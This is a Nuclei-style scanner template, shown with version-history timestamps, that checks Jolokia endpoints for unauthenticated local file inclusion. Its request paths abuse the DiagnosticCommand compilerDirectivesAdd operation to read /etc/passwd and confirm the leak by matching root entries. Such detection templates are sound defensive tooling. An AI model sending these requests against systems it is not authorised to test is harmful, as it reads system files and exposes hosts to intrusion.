2021-12-05 10:42:46 +00:00
|
|
|
id: jolokia-unauthenticated-lfi
|
|
|
|
|
|
|
|
info:
|
2022-08-05 13:57:51 +00:00
|
|
|
name: Jolokia - Local File Inclusion
|
2021-12-05 10:42:46 +00:00
|
|
|
author: dhiyaneshDk
|
|
|
|
severity: high
|
2022-08-05 13:57:51 +00:00
|
|
|
description: Jolokia is vulnerable to local file inclusion via compilerDirectivesAdd.
|
2021-12-05 10:42:46 +00:00
|
|
|
reference:
|
|
|
|
- https://thinkloveshare.com/hacking/ssrf_to_rce_with_jolokia_and_mbeans/
|
|
|
|
- https://github.com/laluka/jolokia-exploitation-toolkit
|
2022-08-05 13:57:51 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
|
|
|
|
cvss-score: 8.3
|
|
|
|
cwe-id: CWE-522
|
2022-03-23 10:26:30 +00:00
|
|
|
tags: jolokia,springboot,tomcat,lfi
|
2021-12-05 10:42:46 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd"
|
2021-12-05 11:18:49 +00:00
|
|
|
- "{{BaseURL}}/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd"
|
2021-12-05 10:42:46 +00:00
|
|
|
|
2021-12-05 11:18:49 +00:00
|
|
|
stop-at-first-match: true
|
2021-12-05 10:42:46 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
|
|
|
- "compilerDirectivesAdd"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2022-08-05 13:57:51 +00:00
|
|
|
- 200
|
|
|
|
|
|
|
|
# Enhanced by mp on 2022/08/03
|